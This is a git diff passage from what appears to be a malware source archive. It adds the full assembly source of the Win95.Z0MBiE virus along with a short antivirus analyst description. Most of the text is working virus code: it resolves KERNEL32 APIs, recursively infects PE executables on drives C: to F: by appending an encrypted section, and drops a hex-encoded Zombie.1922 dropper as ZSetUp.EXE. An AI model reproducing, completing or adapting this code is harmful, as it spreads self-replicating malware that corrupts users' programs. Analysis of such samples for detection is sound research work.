cx,(crypt_end-crypt_begin) +crypt_loop: + not byte ptr [si] ; Encrypt a byte + inc si ; Increase index register + loop crypt_loop + ret ; Return! + endp +end code_begin \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.zombie95.asm b/MSDOS/Virus.MSDOS.Unknown.zombie95.asm new file mode 100644 index 00000000..cd2a1460 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.zombie95.asm @@ -0,0 +1,974 @@ +; +; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +; ³ Win95.Z0MBiE ³ +; ³ v1.01, by Z0MBiE ³ +; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ +; +; This is the first collaboration of the russian virus writer Z0MBiE to 29A, +; and also his first Win95 PE infector. It is an encrypted runtime PE infec- +; tor which, after having decrypted its body, locates KERNEL32.DLL and then +; looks in its export table for the address of the API functions used it the +; viral code. This virus has also the feature which consists on looking for +; files to infect in the Windows directory as well as in other units. PE in- +; fection consists on adding a new section (called .Z0MBiE) to infected exe- +; cutables and creating an entry point in it for the virus code. Last but +; not least, Win95.Z0MBiE, after having infected files in a given drive, in- +; serts a dropper called ZSetUp.EXE in the root directory. This file is ac- +; tually a dropper of the Z0MBiE.1922 virus, also included in this issue of +; 29A, in the "Viruses" section of the magazine. Its peculiarities are des- +; cribed there, together with the analysis of Igor Daniloff, same as the one +; which follows, describing the behavior of Win95.ZOMBiE. +; +; +; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 +; Win95.Zombie +; +; Igor Daniloff +; DialogueScience +; +; Win95.Zombie is a nondestructive nonresident encrypted virus which +; infects PortableExecutable EXE files. On starting an infected file, +; the virus decryptor explodes the main virus body and passes control +; to it. The main virus body determines the location of KERNEL32 Export +; Table in memory and saves in its code the address of WIN32 KERNEL API +; functions that are essential for infecting files. +; +; Then the virus determines the command line of the currently-loaded +; infected program and loads it once again through the WinExec function. +; The second virus copy then infects the system. The first virus copy +; (that started a second copy the infected program), after completing +; the WinExec procedure, returns control to the host program. +; +; To infect PE EXE files, the virus scans the Windows system folder and +; also takes peeps into all other folders in drives C:, D:, E:, and F:. +; On detecting a PE EXE file, the virus analyzes the file. If all is well, +; the file is infected. Win95.Zombie creates a new segment section .Z0MBiE +; in the PE header, sets an entry point to it, and appends a copy of the +; encrypted code at the file end which is within the limits of the region +; of this segment section. After infecting the logical drive, the virus +; creates a dropper file ZSetUp.EXE in the root directory and assigns it +; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a +; Zombie.1922 virus code. The virus contains a few text strings: +; +; Z0MBiE 1.01 (c) 1997 +; My 2nd virii for mustdie +; Tnx to S.S.R. +; +; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE +; Tnx to S.S.R. +; ShadowRAM/Virtual Process Infector +; ShadowRAM Technology (c) 1996,97 Z0MBiE +; +; code................1398 +; viriisize...........4584 +; virtsize............8936 +; +; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 +; +; +; Compiling it +; ÄÄÄÄÄÄÄÄÄÄÄÄ +; tasm32 -ml -m5 -q -zn zombie.asm +; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib +; pewrsec zombie.exe +; +; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 + + .386 + locals + jumps + .model flat + +extrn ExitProcess:PROC +extrn MessageBoxA:PROC + +kernel equ 0BFF70000H + +FILE_ID equ 'Z0' +PORT_ID equ 'Z' + + .data + +sux db 'mustdie' + + .code +start: + call codestart + + lea ebp, [eax - 401000H] + lea edx, codestart[ebp] +cryptn equ (viriisize-decrsize+3) / 4 + mov ecx, cryptn +@@1: neg dword ptr [edx] + xor dword ptr [edx], 12345678h +xorword equ dword ptr $-4 + sub edx, -4 + loop @@1 + jmp codestart + + align 4 +decrsize equ $-start + +codestart: lea ebp, [eax - 401000H] + sub eax, 12345678h +subme equ dword ptr $-4 + push eax + + call analizekernel + + call first + + in al, 81h + cmp al, PORT_ID + je exit_to_program + + in al, 80h + cmp al, PORT_ID + je infect + + mov al, PORT_ID + out 80h, al + + call ExecExe + +exit_to_program: ret + +infect: mov al, -1 + out 80h, al + + ; call _GetModuleHandleA + ; push 9 + ; push eax + ; call _SetPriorityClass + + ; infect windows directory + + lea edx, infdir[ebp] + call getwindir + lea edx, infdir[ebp] + call setdir + call infectdir + + ; recursive infect + + lea edx, drive_c[ebp] + call recinfect1st + call createsetup + + lea edx, drive_d[ebp] + call recinfect1st + call createsetup + + lea edx, drive_e[ebp] + call recinfect1st + call createsetup + + lea edx, drive_f[ebp] + call recinfect1st + call createsetup + + mov al, PORT_ID + out 81h, al + +exit_to_mustdie: push -1 + call _ExitProcess + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +createsetup: lea edx, zsetup[ebp] + call createfile + + lea edx, z[ebp] + mov ecx, z_size + call writefile + + call closefile + + ret + +first: pop edi + mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx + mov byte ptr start[ebp], 0b9h + + call infectfile + jmp exit_to_mustdie + +ExecExe: call _GetCommandLineA +SW_NORMAL equ 1 + push SW_NORMAL + push eax + call _WinExec + ret + +recinfect1st: call setdir + +recinfect: call infectdir + + lea eax, win32_data_thang[ebp] + push eax + lea eax, dirfiles[ebp] + push eax + call _FindFirstFileA + mov edi, eax + inc eax + jz @@nomorefiles + +@@processfile: lea eax, fileattr[ebp] + mov al, [eax] + cmp al, 10h ; directory ? + jne @@findnext + + lea edx, fullname[ebp] + cmp byte ptr [edx], '.' + je @@findnext + call setdir + + push edi + lea edx, fullname[ebp] + call recinfect + pop edi + + lea edx, prev_dir[ebp] + call setdir + +@@findnext: lea eax, win32_data_thang[ebp] + push eax + push edi + call _FindNextFileA + + or eax, eax + jnz @@processfile + +@@nomorefiles: ret + +nokerneldll: +nofunction: +exit: jmp $ + +analizekernel: mov esi, kernel +@@1: ; cmp esi, kernel + 040000h + ; ja nokernelfunc + lea edi, kernel_sign[ebp] + mov ecx, kernel_sign_size + rep cmpsb + jne @@1 + +kernelfound: sub esi, kernel_sign_size + mov kernel_call[ebp], esi + + mov esi, kernel + lodsw + cmp ax, 'ZM' + jne nokerneldll + + add esi, 003Ch-2 + lodsd + + lea esi, [esi + eax - 3ch - 4] + lodsd + cmp eax, 'EP' + jne nokerneldll + + add esi, 78h-4 ; esi=.edata + + lodsd + add eax, kernel + 10h + xchg esi, eax + + lodsd + lodsd + lodsd + mov funcnum[ebp], eax + + lodsd + add eax, kernel + mov entrypointptr[ebp], eax + + lodsd + add eax, kernel + mov nameptr[ebp], eax + + lodsd + add eax, kernel + mov ordinalptr[ebp], eax + + lea edx, names[ebp] + lea edi, fns[ebp] + +@@1: push edi + call findfunction + pop edi + + inc edi ; 68 + stosd + add edi, 6 ; jmp kernel_call[ebp] + + mov edx, esi + + cmp byte ptr [esi], 0 + jne @@1 + + ret + +findfunction: mov ecx, 12345678h +funcnum equ dword ptr $-4 + xor ebx, ebx + +findnextfunc: mov esi, edx + + mov edi, [ebx + 12345678h] +nameptr equ dword ptr $-4 + add edi, kernel + +@@2: cmpsb + jne @@1 + + cmp byte ptr [esi-1], 0 + jne @@2 + + ; found + + shr ebx, 1 + movzx eax, word ptr [ebx + 12345678h] +ordinalptr equ dword ptr $-4 + shl eax, 2 + mov eax, [eax + 12345678h] +entrypointptr equ dword ptr $-4 + add eax, kernel + + ret + +@@1: add ebx, 4 + loop findnextfunc + + jmp nofunction + + +infectdir: lea eax, win32_data_thang[ebp] + push eax + lea eax, exefiles[ebp] + push eax + call _FindFirstFileA + + mov searchhandle[ebp], eax + inc eax + jz @@exit + +@@next: call infectfile + + lea eax, win32_data_thang[ebp] + push eax + push 12345678h +searchhandle equ dword ptr $-4 + call _FindNextFileA + + or eax, eax + jnz @@next + +@@exit: ret + + ; input: ECX=file attr + ; EDX=file + ; output: EAX=handle + +openfile: push 0 + push ecx + push 3 ; OPEN_EXISTING + push 0 + push 0 + push 80000000h + 40000000h + push edx + call _CreateFileA + mov handle[ebp], eax + ret + + ; input: EDX=file + ; output: EAX=handle + +createfile: push 0 + push ecx + push 1 ; CREATE + push 0 + push 0 + push 80000000h + 40000000h + push edx + call _CreateFileA + mov handle[ebp], eax + ret + +seekfile: push 0 + push 0 + push edx + push handle[ebp] + call _SetFilePointer + ret + +closefile: push handle[ebp] + call _CloseHandle + ret + + ; input: ECX=bytes to read + ; EDX=buf + +readfile: push 0 + lea eax, bytesread[ebp] + push eax + push ecx + push edx + push handle[ebp] + call _ReadFile + ret + + ; input: ECX=bytes to read + ; EDX=buf + +writefile: push 0 + lea eax, bytesread[ebp] + push eax + push ecx + push edx + push handle[ebp] + call _WriteFile + ret + + ; input: EDX=offset directory (256 byte) + +getdir: cld + push edx + push 255 + call _GetCurrentDirectoryA + ret + + ; input: EDX=directory + +setdir: push edx + call _SetCurrentDirectoryA + ret + +getwindir: cld + push 255 + push edx + call _GetWindowsDirectoryA + ret + +infectfile: in al, 82h + cmp al, PORT_ID + jne @@continue + + lea eax, fullname[ebp] + cmp dword ptr [eax], 'BM0Z' + jne @@exit + +@@continue: mov ecx, fileattr[ebp] + lea edx, fullname[ebp] + call openfile + + inc eax + jz @@exit + +; goto the dword that stores the location of the pe header + + mov edx, 3Ch + call seekfile + +; read in the location of the pe header + + mov ecx, 4 + lea edx, peheaderoffset[ebp] + call readfile + +; goto the pe header + mov edx, peheaderoffset[ebp] + call seekfile + +; read in enuff to calculate the full size of the pe header and object table + + mov ecx, 256 + lea edx, peheader[ebp] + call readfile + +; make sure it is a pe header and is not already infected + cmp dword ptr peheader[ebp],'EP' + jne @@close + cmp word ptr peheader[ebp] + 4ch, FILE_ID + je @@close + cmp dword ptr peheader[ebp] + 52, 00400000h + jne @@close + +; go back to the start of the pe header + mov edx, peheaderoffset[ebp] + call seekfile + +; read in the whole pe header and object table + lea edx, peheader[ebp] + mov ecx, headersize[ebp] + cmp ecx, maxbufsize + ja @@close + call readfile + + mov word ptr peheader[ebp] + 4ch, FILE_ID + +; locate offset of object table + xor eax, eax + mov ax, NtHeaderSize[ebp] + add eax, 18h + mov objecttableoffset[ebp],eax + +; calculate the offset of the last (null) object in the object table + mov esi, objecttableoffset[ebp] + lea eax, peheader[ebp] + add esi, eax + xor eax, eax + mov ax, numObj[ebp] + mov ecx, 40 + xor edx, edx + mul ecx + add esi, eax + + inc numObj[ebp] ; inc the number of objects + + lea edi, newobject[ebp] + xchg edi,esi + +; calculate the Relative Virtual Address (RVA) of the new object + + mov eax, [edi-5*8+8] + add eax, [edi-5*8+12] + mov ecx, objalign[ebp] + xor edx,edx + div ecx + inc eax + mul ecx + mov RVA[ebp], eax + +; calculate the physical size of the new object + mov ecx, filealign[ebp] + mov eax, viriisize + xor edx, edx + div ecx + inc eax + mul ecx + mov physicalsize[ebp],eax + +; calculate the virtual size of the new object + mov ecx, objalign[ebp] + mov eax, virtsize + xor edx,edx + div ecx + inc eax + mul ecx + mov virtualsize[ebp],eax + +; calculate the physical offset of the new object + mov eax,[edi-5*8+20] + add eax,[edi-5*8+16] + mov ecx, filealign[ebp] + xor edx,edx + div ecx + inc eax + mul ecx + mov physicaloffset[ebp],eax + +; update the image size (the size in memory) of the file + mov eax, virtsize + add eax, imagesize[ebp] + mov ecx, objalign[ebp] + xor edx, edx + div ecx + inc eax + mul ecx + mov imagesize[ebp],eax + +; copy the new object into the object table + mov ecx, 40/4 + rep movsd + +; calculate the entrypoint RVA + mov eax, RVA[ebp] + + mov ebx, entrypointRVA[ebp] + mov entrypointRVA[ebp], eax + + sub eax, ebx + +; Set the value needed to return to the host + mov subme[ebp], eax + +; go back to the start of the pe header + mov edx, peheaderoffset[ebp] + call seekfile + +; write the pe header and object table to the file + mov ecx, headersize[ebp] + lea edx, peheader[ebp] + call writefile + +; move to the physical offset of the new object + mov edx, physicaloffset[ebp] + call seekfile + +; write the virus code to the new object + + call random + mov xorword[ebp], eax + + lea edx, start[ebp] + mov ecx, decrsize + call writefile + + lea esi, codestart[ebp] + lea edi, buf[ebp] + mov ecx, cryptn +@@1: lodsd + xor eax, xorword[ebp] + neg eax + stosd + loop @@1 + + lea edx, buf[ebp] + mov ecx, viriisize-decrsize + call writefile + +@@close: call closefile + +@@exit: ret + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + ; output: eax=rnd + ; zf=rnd(2) + +random: call random16bit + shl eax, 16 + +random16bit: push ebx + mov bx, 1234h +rndword equ word ptr $-2 + in al, 40h + xor bl, al + in al, 40h + add bh, al + in al, 41h + sub bl, al + in al, 41h + xor bh, al + in al, 42h + add bl, al + in al, 42h + sub bh, al + mov rndword[ebp], bx + xchg bx, ax + pop ebx + test al, 1 + ret + + ; input: eax + ; output: eax=rnd(eax) + ; zf=rnd(2) + +rnd: push ebx + push edx + xchg ebx, eax + call random + xor edx, edx + div ebx + xchg edx, eax + pop edx + pop ebx + test al, 1 + ret + + +codesize equ $-start + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +kernel_sign: pushfd ; <- kernel + cld + push eax + push ebx + push edx +kernel_sign_size equ $-kernel_sign + +kernel_call dd ? + +names: db 'ExitProcess',0 + db 'FindFirstFileA',0 + db 'FindNextFileA',0 + db 'CreateFileA',0 + db 'SetFilePointer',0 + db 'ReadFile',0 + db 'WriteFile',0 + db 'CloseHandle',0 + db 'GetCurrentDirectoryA',0 + db 'SetCurrentDirectoryA',0 + db 'GetWindowsDirectoryA',0 + db 'GetCommandLineA',0 + db 'WinExec',0 + db 'SetPriorityClass',0 + db 'GetModuleHandleA',0 + db 0 + +fns: +def_fn macro name +_&name&: db 68h +fn_&name& dd ? + jmp kernel_call[ebp] + endm + +def_fn ExitProcess +def_fn FindFirstFileA +def_fn FindNextFileA +def_fn CreateFileA +def_fn SetFilePointer +def_fn ReadFile +def_fn WriteFile +def_fn CloseHandle +def_fn GetCurrentDirectoryA +def_fn SetCurrentDirectoryA +def_fn GetWindowsDirectoryA +def_fn GetCommandLineA +def_fn WinExec +def_fn SetPriorityClass +def_fn GetModuleHandleA + +bytesread dd ? + +drive_c db 'C:\',0 +drive_d db 'D:\',0 +drive_e db 'E:\',0 +drive_f db 'F:\',0 + +exefiles db '*.EXE',0 +dirfiles db '*.',0 + +prev_dir db '..',0 + +win32_data_thang: +fileattr dd 0 +createtime dd 0,0 +lastaccesstime dd 0,0 +lastwritetime dd 0,0 +filesize dd 0,0 +resv dd 0,0 +fullname db 'Z0MB.EXE',256-8 dup (0) +realname db 256 dup (0) + +handle dd ? + +peheaderoffset dd ? +objecttableoffset dd ? + +newobject: ;1234567 8 +oname db '.Z0MBiE',0 +virtualsize dd 0 +RVA dd 0 +physicalsize dd 0 +physicaloffset dd 0 +reserved dd 0,0,0 +objectflags db 40h,0,0,0c0h + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + db 13,10,'Z0MBiE 1.01 (c) 1997',13,10 + db 'My 2nd virii for mustdie',13,10 + db 'Tnx to S.S.R.',13,10 + +m1 macro n + if n ge 100000 + db n / 10000/10 mod 10 + '0' + else + db '.' + endif + if n ge 10000 + db n / 10000 mod 10 + '0' + else + db '.' + endif + if n ge 1000 + db n / 1000 mod 10 + '0' + else + db '.' + endif + db n / 100 mod 10 + '0' + db n / 10 mod 10 + '0' + db n / 1 mod 10 + '0',13,10 + endm + +; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ +zsetup db '\ZSetUp.EXE',0 +z: +include z.inc ; Z0MBiE.1922 +z_size equ $-z +; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ + + db 13,10 + db 'code..............' +m1 codesize + db 'viriisize.........' +m1 viriisize + db 'virtsize..........' +m1 virtsize + +peheader: +signature dd 0 +cputype dw 0 +numObj dw 0 + dd 3 dup (0) +NtHeaderSize dw 0 +Flags dw 0 + dd 4 dup (0) +entrypointRVA dd 0 + dd 3 dup (0) +objalign dd 0 +filealign dd 0 + dd 4 dup (0) +imagesize dd 0 +headersize dd 0 +peheader_size equ $-peheader + + align 4 +viriisize equ $-start + +infdir db 256 dup (?) + +maxbufsize equ 4096 +buf db maxbufsize dup (?) + +virtsize equ $-start + end start + +; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 + +abc_size equ 1922 ; size in bytes +abc_num equ 1922 ; size in elements + +abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h +db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h +db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h +db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h +db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h +db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h +db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h +db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h +db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h +db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh +db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h +db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h +db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h +db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh +db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h +db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h +db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h +db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah +db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh +db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h +db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h +db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h +db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h +db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h +db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h +db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h +db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h +db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h +db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h +db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h +db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh +db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h +db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h +db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh +db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h +db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h +db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch +db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h +db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h +db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah +db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch +db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh +db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h +db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h +db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh +db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h +db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h +db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h +db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh +db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h +db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h +db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h +db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh +db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h +db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh +db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h +db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h +db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h +db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h +db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh +db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh +db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h +db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h +db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h +db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h +db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh +db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h +db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h +db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h +db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h +db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh +db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h +db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah +db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h +db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh +db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h +db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h +db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah +db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h +db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh +db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h +db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh +db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h +db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h +db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h +db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h +db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h +db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh +db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h +db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h +db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h +db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h +db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h +db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h +db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh +db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h +db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h +db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h +db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h +db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach +db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh +db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h +db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h +db 